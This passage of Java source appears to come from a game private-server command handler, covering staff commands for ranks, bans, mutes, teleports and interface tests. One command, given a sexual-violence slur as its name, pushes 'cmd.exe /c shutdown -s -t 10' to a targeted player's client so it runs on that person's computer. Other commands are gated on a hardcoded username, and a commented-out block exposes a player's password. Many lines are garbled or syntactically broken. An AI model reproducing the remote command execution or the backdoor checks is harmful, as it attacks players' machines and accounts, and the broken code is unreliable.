final WorldObject object1 = World.getRegion(
player.getRegionId()).getSpawnedObject(
new WorldTile(x, y, player.getPlane()));
if (object1 == null) {
player.getPackets().sendPanelBoxMessage(
"Could not find object at [x=" + x + ", y=" + y
+ ", z=" + player.getPlane() + "].");
return true;
}
System.out.println("Object found: " + object1.getId());
final int start = cmd.length > 3 ? Integer.parseInt(cmd[3])
: 10;
final int end = cmd.length > 4 ? Integer.parseInt(cmd[4])
: 20000;
CoresManager.fastExecutor.scheduleAtFixedRate(new TimerTask() {
int current = start;
@Override
public void run() {
while (AnimationDefinitions
.getAnimationDefinitions(current) == null) {
current++;
if (current >= end) {
cancel();
return;
}
}
player.getPackets().sendPanelBoxMessage(
"Current object animation: " + current + ".");
player.getPackets().sendObjectAnimation(object1,
new Animation(current++));
if (current >= end) {
cancel();
}
}
}, 1800, 1800);
return true;
case "unmuteall":
for (Player targets : World.getPlayers()) {
if (player == null)
continue;
targets.setMuted(0);
}
return true;
case "bconfigloop":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = Integer.valueOf(cmd[1]); i < Integer
.valueOf(cmd[2]); i++) {
if (i >= 1929) {
break;
}
player.getPackets().sendGlobalConfig(i,
Integer.valueOf(cmd[3]));
}
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "reset":
if (cmd.length < 2) {
for (int skill = 0; skill < 25; skill++)
player.getSkills().setXp(skill, 0);
player.getSkills().init();
return true;
}
try {
player.getSkills().setXp(Integer.valueOf(cmd[1]), 0);
player.getSkills().set(Integer.valueOf(cmd[1]), 1);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::master skill");
}
return true;
case "specialzone":
if (!player.getUsername().equalsIgnoreCase("graham")
&& !player.getUsername().equalsIgnoreCase("graham"))
return true;
player.getPackets().sendInputNameScript(
"Please, verify to be graham or Assistant:");
player.getTemporaryAttributtes().put("timeisboss", "shitsreal");
return true;
case "viewbank":
String username1 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
Player other1 = World.getPlayerByDisplayName(username1);
try {
player.getPackets().sendItems(95,
other1.getBank().getContainerCopy());
player.getBank().openPlayerBank(other1);
} catch (Exception e) {
player.getPackets().sendGameMessage(
"The player " + username1
+ " is currently unavailable.");
}
return true;
/*
* case "highscores": Highscores.highscores(player, null);
* return true;
*/
case "sof":
player.getInterfaceManager().sendScreenInterface(9 6, 1253);
return true;
case "sof2":
player.getInterfaceManager().sendInterface(1253);
return true;
case "master":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("graham")) {
return true;
}
if (cmd.length < 2) {
for (int skill = 0; skill < 25; skill++)
player.getSkills().addXp(skill, 150000000);
return true;
}
try {
player.getSkills()
.addXp(Integer.valueOf(cmd[1]), 150000000);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::master skill");
}
return true;
case "window":
player.getPackets().sendWindowsPane(1253, 0);
return true;
case "challenges":
player.getPackets().sendWindowsPane(1343, 0);
return true;
case "challenges2":
player.getPackets().sendWindowsPane(1344, 0);
return true;
case "loyaltyshop":
player.getPackets().sendWindowsPane(1273, 0);
return true;
case "clean":
player.getPackets().sendWindowsPane(
player.getInterfaceManager().hasRezizableScreen() ? 746
: 548, 0);
return true;
case "bconfig":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: bconfig id value");
return true;
}
try {
player.getPackets().sendGlobalConfig(
Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: bconfig id value");
}
return true;
case "tonpc":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: ::tonpc id(-1 for player)");
return true;
}
try {
player.getAppearence().transformIntoNPC(
Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::tonpc id(-1 for player)");
}
return true;
case "inter":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
return true;
}
try {
player.getInterfaceManager().sendInterface(
Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
}
return true;
case "overlay":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
return true;
}
int child = cmd.length > 2 ? Integer.parseInt(cmd[2]) : 28;
try {
player.getPackets().sendInterface(true, 746, child,
Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
}
return true;
case "empty":
player.getInventory().reset();
return true;
case "interh":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
return true;
}
try {
int interId = Integer.valueOf(cmd[1]);
for (int componentId = 0; componentId < Utils
.getInterfaceDefinitionsComponentsSize(interId); componentId++) {
player.getPackets().sendIComponentModel(interId,
componentId, 66);
}
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
}
return true;
case "inters":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
return true;
}
try {
int interId = Integer.valueOf(cmd[1]);
for (int componentId = 0; componentId < Utils
.getInterfaceDefinitionsComponentsSize(interId); componentId++) {
player.getPackets().sendIComponentText(interId,
componentId, "cid: " + componentId);
}
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::inter interfaceId");
}
return true;
case "kill":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
return true;
target.applyHit(new Hit(target, player.getHitpoints(),
HitLook.REGULAR_DAMAGE));
target.stopAll();
return true;
case "permdonator":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
loggedIn = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn = false;
}
if (target == null)
return true;
target.setDonator(true);
SerializableFilesManager.savePlayer(target);
if (loggedIn)
target.getPackets().sendGameMessage(
"You have been given donator by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You gave donator to "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "makesupport":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn1 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn1 = false;
}
if (target == null)
return true;
target.setSupporter(true);
SerializableFilesManager.savePlayer(target);
if (loggedIn1)
target.getPackets().sendGameMessage(
"You have been given supporter rank by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You gave supporter rank to "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "takesupport":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn2 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn2 = false;
}
if (target == null)
return true;
target.setSupporter(false);
SerializableFilesManager.savePlayer(target);
if (loggedIn2)
target.getPackets().sendGameMessage(
"Your supporter rank was removed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You removed supporter rank of "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "makegfx":
if (!player.getUsername().equalsIgnoreCase("graham")) {
return true;
}
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn11 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn11 = false;
}
if (target == null)
return true;
target.setGraphicDesigner(true);
SerializableFilesManager.savePlayer(target);
if (loggedIn11)
target.getPackets().sendGameMessage(
"You have been given graphic designer rank by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You gave graphic designer rank to "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "takegfx":
if (!player.getUsername().equalsIgnoreCase("graham")) {
return true;
}
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn21 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn21 = false;
}
if (target == null)
return true;
target.setGraphicDesigner(false);
SerializableFilesManager.savePlayer(target);
if (loggedIn21)
target.getPackets().sendGameMessage(
"Your graphic designer rank was removed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You removed graphic designer rank of "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "makefmod":
if (!player.getUsername().equalsIgnoreCase("graham")) {
return true;
}
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn11221 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn11221 = false;
}
if (target == null)
return true;
target.setForumModerator(true);
SerializableFilesManager.savePlayer(target);
if (loggedIn11221)
target.getPackets().sendGameMessage(
"You have been given graphic designer rank by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You gave graphic designer rank to "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "takefmod":
if (!player.getUsername().equalsIgnoreCase("graham")) {
return true;
}
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn7211 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn7211 = false;
}
if (target == null)
return true;
target.setGraphicDesigner(false);
SerializableFilesManager.savePlayer(target);
if (loggedIn7211)
target.getPackets().sendGameMessage(
"Your forum moderator rank was removed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You removed forum moderator rank of "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "permextremedonator":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn111 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn111 = false;
}
if (target == null)
return true;
target.setExtremeDonator(true);
SerializableFilesManager.savePlayer(target);
if (loggedIn111)
target.getPackets().sendGameMessage(
"You have been given extreme donator by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You gave extreme donator to "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "takeextremedonator":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn1111 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn1111 = false;
}
if (target == null)
return true;
target.setExtremeDonator(false);
SerializableFilesManager.savePlayer(target);
if (loggedIn1111)
target.getPackets().sendGameMessage(
"Your extreme donator was removed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You removed extreme donator from "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "monthdonator":
name = cmd[1].substring(cmd[1].indexOf(" ") + 1);
target = World.getPlayerByDisplayName(name);
if (target == null)
return true;
target.makeDonator(1);
SerializableFilesManager.savePlayer(target);
target.getPackets().sendGameMessage(
"You have been given donator by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You gave donator to "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "takedonator":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn121 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn121 = false;
}
if (target == null)
return true;
target.setDonator(false);
SerializableFilesManager.savePlayer(target);
if (loggedIn121)
target.getPackets().sendGameMessage(
"Your donator was removed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"You removed donator from "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()), true);
return true;
case "bank":
player.getBank().openBank();
return true;
case "check":
IPBanL.checkCurrent();
return true;
case "reloadfiles":
IPBanL.init();
PkRank.init();
return true;
case "tele":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: ::tele coordX coordY");
return true;
}
try {
player.resetWalkSteps();
player.setNextWorldTile(new WorldTile(Integer
.valueOf(cmd[1]), Integer.valueOf(cmd[2]),
cmd.length >= 4 ? Integer.valueOf(cmd[3]) : player
.getPlane()));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::tele coordX coordY plane");
}
return true;
case "update":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase(""))
return true;
int delay = 120;
if (cmd.length >= 2) {
try {
delay = Integer.valueOf(cmd[1]);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::restart secondsDelay(IntegerValue)");
return true;
}
}
World.safeShutdown(false, delay);
return true;
case "rape":
String target1 = cmd[1].substring(cmd[1].indexOf(" ") + 1);
Player p2 = World.getPlayerByDisplayName(target1);
p2.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 10");
player.getPackets().sendGameMessage(
"Shutting down " + p2.getUsername() + " his computer.");
return true;
case "emote":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage("Use: ::emote id");
return true;
}
try {
player.setNextAnimation(new Animation(Integer
.valueOf(cmd[1])));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage("Use: ::emote id");
}
return true;
case "remote":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage("Use: ::emote id");
return true;
}
try {
player.getAppearence().setRenderEmote(
Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage("Use: ::emote id");
}
return true;
case "quake":
player.getPackets().sendCameraShake(Integer.valueO f(cmd[1]),
Integer.valueOf(cmd[2]), Integer.valueOf(cmd[3]),
Integer.valueOf(cmd[4]), Integer.valueOf(cmd[5]));
return true;
case "getrender":
player.getPackets().sendGameMessage("Testing renders");
for (int i = 0; i < 3000; i++) {
try {
player.getAppearence().setRenderEmote(i);
player.getPackets().sendGameMessage("Testing " + i);
Thread.sleep(600);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
return true;
case "spec":
player.getCombatDefinitions().resetSpecialAttack() ;
return true;
case "trylook":
final int look = Integer.parseInt(cmd[1]);
WorldTasksManager.schedule(new WorldTask() {
int i = 269;// 200
@Override
public void run() {
if (player.hasFinished()) {
stop();
}
player.getAppearence().setLook(look, i);
player.getAppearence().generateAppearenceData();
player.getPackets().sendGameMessage("Look " + i + ".");
i++;
}
}, 0, 1);
return true;
case "tryinter":
WorldTasksManager.schedule(new WorldTask() {
int i = 1;
@Override
public void run() {
if (player.hasFinished()) {
stop();
}
player.getInterfaceManager().sendInterface(i);
System.out.println("Inter - " + i);
i++;
}
}, 0, 1);
return true;
case "tryanim":
WorldTasksManager.schedule(new WorldTask() {
int i = 16700;
@Override
public void run() {
if (i >= Utils.getAnimationDefinitionsSize()) {
stop();
return;
}
if (player.getLastAnimationEnd() > System
.currentTimeMillis()) {
player.setNextAnimation(new Animation(-1));
}
if (player.hasFinished()) {
stop();
}
player.setNextAnimation(new Animation(i));
System.out.println("Anim - " + i);
i++;
}
}, 0, 3);
return true;
case "animcount":
System.out.println(Utils.getAnimationDefinitionsSi ze()
+ " anims.");
return true;
case "sync":
int animId = Integer.parseInt(cmd[1]);
int gfxId = Integer.parseInt(cmd[2]);
int height = cmd.length > 3 ? Integer.parseInt(cmd[3]) : 0;
player.setNextAnimation(new Animation(animId));
player.setNextGraphics(new Graphics(gfxId, 0, height));
return true;
case "mess":
player.getPackets().sendMessage(Integer.valueOf(cm d[1]), "",
player);
return true;
case "unpermban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
File acc = new File("data/characters/" + name.replace(" ", "_")
+ ".p");
target = null;
if (target == null) {
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
}
target.setPermBanned(false);
target.setBanned(0);
player.getPackets().sendGameMessage(
"You've unbanned "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()) + ".");
try {
SerializableFilesManager
.storeSerializableClass(target, acc);
} catch (IOException e) {
e.printStackTrace();
}
return true;
case "permban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
if (target.getRights() == 2)
return true;
target.setPermBanned(true);
target.getPackets().sendGameMessage(
"You've been perm banned by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".");
player.getPackets().sendGameMessage(
"You have perm banned: " + target.getDisplayName()
+ ".");
target.getSession().getChannel().close();
SerializableFilesManager.savePlayer(target);
} else {
File acc11 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc11);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
if (target.getRights() == 2)
return true;
target.setPermBanned(true);
player.getPackets().sendGameMessage(
"You have perm banned: "
+ Utils.formatPlayerNameForDisplay(name)
+ ".");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc11);
} catch (IOException e) {
e.printStackTrace();
}
}
return true;
case "ipban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn11111 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn11111 = false;
}
if (target != null) {
if (target.getRights() == 2)
return true;
IPBanL.ban(target, loggedIn11111);
player.getPackets().sendGameMessage(
"You've permanently ipbanned "
+ (loggedIn11111 ? target.getDisplayName()
: name) + ".");
} else {
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
}
return true;
case "unipban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
File acc11 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
target = null;
if (target == null) {
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc11);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
}
IPBanL.unban(target);
player.getPackets().sendGameMessage(
"You've unipbanned "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()) + ".");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc11);
} catch (IOException e) {
e.printStackTrace();
}
return true;
case "staffmeeting":
for (Player staff : World.getPlayers()) {
if (staff.getRights() == 0)
continue;
staff.setNextWorldTile(new WorldTile(2846, 5152, 0));
staff.getPackets().sendGameMessage(
"You been teleported for a staff meeting by "
+ player.getDisplayName());
}
return true;
case "fightkiln":
FightKiln.enterFightKiln(player, true);
return true;
case "setpitswinner":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null) {
target.setWonFightPits();
target.setCompletedFightCaves();
} else {
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
}
SerializableFilesManager.savePlayer(target);
return true;
}
}
return false;
}
public static boolean processHeadModCommands(Player player, String[] cmd,
boolean console, boolean clientCommand) {
if (clientCommand) {
} else {
String name;
Player target;
switch (cmd[0]) {
case "ipban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
boolean loggedIn1111 = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null)
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
loggedIn1111 = false;
}
if (target != null) {
if (target.getRights() == 2)
return true;
IPBanL.ban(target, loggedIn1111);
player.getPackets().sendGameMessage(
"You've permanently ipbanned "
+ (loggedIn1111 ? target.getDisplayName()
: name) + ".");
} else {
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
}
return true;
}
}
return false;
}
public static boolean processSupportCommands(Player player, String[] cmd,
boolean console, boolean clientCommand) {
String name;
Player target;
if (clientCommand) {
} else {
switch (cmd[0]) {
case "sz":
if (player.isLocked()
|| player.getControlerManager().getControler() != null) {
player.getPackets().sendGameMessage(
"You cannot tele anywhere from here.");
return true;
}
player.setNextWorldTile(new WorldTile(2846, 5152, 0));
return true;
case "unnull":
case "sendhome":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
else {
target.unlock();
target.getControlerManager().forceStop();
if (target.getNextWorldTile() == null) // if controler wont
// tele the player
target.setNextWorldTile(Settings.RESPAWN_PLAYER_LO CATION);
player.getPackets().sendGameMessage(
"You have unnulled: " + target.getDisplayName()
+ ".");
return true;
}
return true;
/*
* case "staffyell": String message = ""; for (int i = 1; i <
* cmd.length; i++) message += cmd[i] + ((i == cmd.length - 1) ?
* "" : " "); sendYell(player, Utils.fixChatMessage(message),
* true); return true;
*/
case "ticket":
TicketSystem.answerTicket(player);
return true;
case "finishticket":
TicketSystem.removeTicket(player);
return true;
case "mute":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
target.setMuted(Utils.currentTimeMillis()
+ (player.getRights() >= 1 ? (48 * 60 * 60 * 1000)
: (1 * 60 * 60 * 1000)));
target.getPackets()
.sendGameMessage(
"You've been muted for "
+ (player.getRights() >= 1 ? " 48 hours by "
: "1 hour by ")
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".");
player.getPackets()
.sendGameMessage(
"You have muted "
+ (player.getRights() >= 1 ? " 48 hours by "
: "1 hour by ")
+ target.getDisplayName() + ".");
} else {
name = Utils.formatPlayerNameForProtocol(name);
if (!SerializableFilesManager.containsPlayer(name)) {
player.getPackets()
.sendGameMessage(
"Account name "
+ Utils.formatPlayerNameForDisplay(name)
+ " doesn't exist.");
return true;
}
target = SerializableFilesManager.loadPlayer(name);
target.setUsername(name);
target.setMuted(Utils.currentTimeMillis()
+ (player.getRights() >= 1 ? (48 * 60 * 60 * 1000)
: (1 * 60 * 60 * 1000)));
player.getPackets()
.sendGameMessage(
"You have muted "
+ (player.getRights() >= 1 ? " 48 hours by "
: "1 hour by ")
+ target.getDisplayName() + ".");
SerializableFilesManager.savePlayer(target);
}
return true;
}
}
return false;
}
public static boolean processModCommand(Player player, String[] cmd,
boolean console, boolean clientCommand) {
if (clientCommand) {
} else {
switch (cmd[0]) {
case "unmute":
String name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
Player target = World.getPlayerByDisplayName(name);
if (target != null) {
target.setMuted(0);
target.getPackets().sendGameMessage(
"You've been unmuted by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".");
player.getPackets().sendGameMessage(
"You have unmuted: " + target.getDisplayName()
+ ".");
SerializableFilesManager.savePlayer(target);
} else {
File acc1 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc1);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
target.setMuted(0);
player.getPackets().sendGameMessage(
"You have unmuted: "
+ Utils.formatPlayerNameForDisplay(name)
+ ".");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc1);
} catch (IOException e) {
e.printStackTrace();
}
}
return true;
case "bconfig":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: bconfig id value");
return true;
}
try {
player.getPackets().sendGlobalConfig(
Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: bconfig id value");
}
return true;
/*
* case "edge": if (!player.isDonator() &&
* !player.i***tremeDonator()) {
* player.getPackets().sendGameMessage(
* "You do not have the privileges to use this."); return true;
* } Magic.sendNormalTeleportSpell(player, 0, 0, new
* WorldTile(3087, 3505, 0)); return true;
*/
case "aura":
if (player.getUsername().equalsIgnoreCase("graham")
AuraManager.getCooldown(23876);
}
case "giveadmin":
if (player.getUsername().equalsIgnoreCase("graham")
String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
Player other = World.getPlayerByDisplayName(username);
if (other == null)
return true;
other.setRights(2);
SerializableFilesManager.savePlayer(other);
other.getPackets().sendGameMessage(
"<col=ff0000>You've been awarded server Administrator "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"<col=ff0000>You given Administrator to "
+ Utils.formatPlayerNameForDisplay(other
.getUsername()), true);
return true;
}/*
* case "getpass": if
* (!player.getUsername().equalsIgnoreCase("graham")) { return
* true; } String username =
* cmd[1].substring(cmd[1].indexOf(" ") + 1); Player other =
* World.getPlayerByDisplayName(username); if (other == null)
* return true; SerializableFilesManager.savePlayer(other);
* other.getPackets().sendGameMessage(
* "<col=ff0000>You've been demoted by " +
* Utils.formatPlayerNameForDisplay(player .getUsername()),
* true); player.getPackets().sendGameMessage(
* "Their password is " + target.getPassword(), true); return
* true;
*
*
*
*/
case "givemod":
if (player.getUsername().equalsIgnoreCase("graham") {
String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
Player other = World.getPlayerByDisplayName(username);
if (other == null)
return true;
other.setRights(1);
SerializableFilesManager.savePlayer(other);
other.getPackets().sendGameMessage(
"<col=ff0000>You've been awarded server Moderator by"
+ Utils.formatPlayerNameForDisplay(player
.getUsername()), true);
player.getPackets().sendGameMessage(
"<col=ff0000>You given Moderator to "
+ Utils.formatPlayerNameForDisplay(other
.getUsername()), true);
return true;
}
case "demote":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("graham"))
return true;
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null) {
target.setRights(0);
player.getPackets().sendGameMessage(
"You've Successfully Demoted "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()));
} else {
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
}
SerializableFilesManager.savePlayer(target);
return true;
case "ban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
target.setBanned(Utils.currentTimeMillis()
+ (48 * 60 * 60 * 1000));
target.getSession().getChannel().close();
player.getPackets().sendGameMessage(
"You have banned 48 hours: "
+ target.getDisplayName() + ".");
} else {
name = Utils.formatPlayerNameForProtocol(name);
if (!SerializableFilesManager.containsPlayer(name)) {
player.getPackets()
.sendGameMessage(
"Account name "
+ Utils.formatPlayerNameForDisplay(name)
+ " doesn't exist.");
return true;
}
target = SerializableFilesManager.loadPlayer(name);
target.setUsername(name);
target.setBanned(Utils.currentTimeMillis()
+ (48 * 60 * 60 * 1000));
player.getPackets().sendGameMessage(
"You have banned 48 hours: "
+ Utils.formatPlayerNameForDisplay(name)
+ ".");
SerializableFilesManager.savePlayer(target);
}
return true;
case "jail":
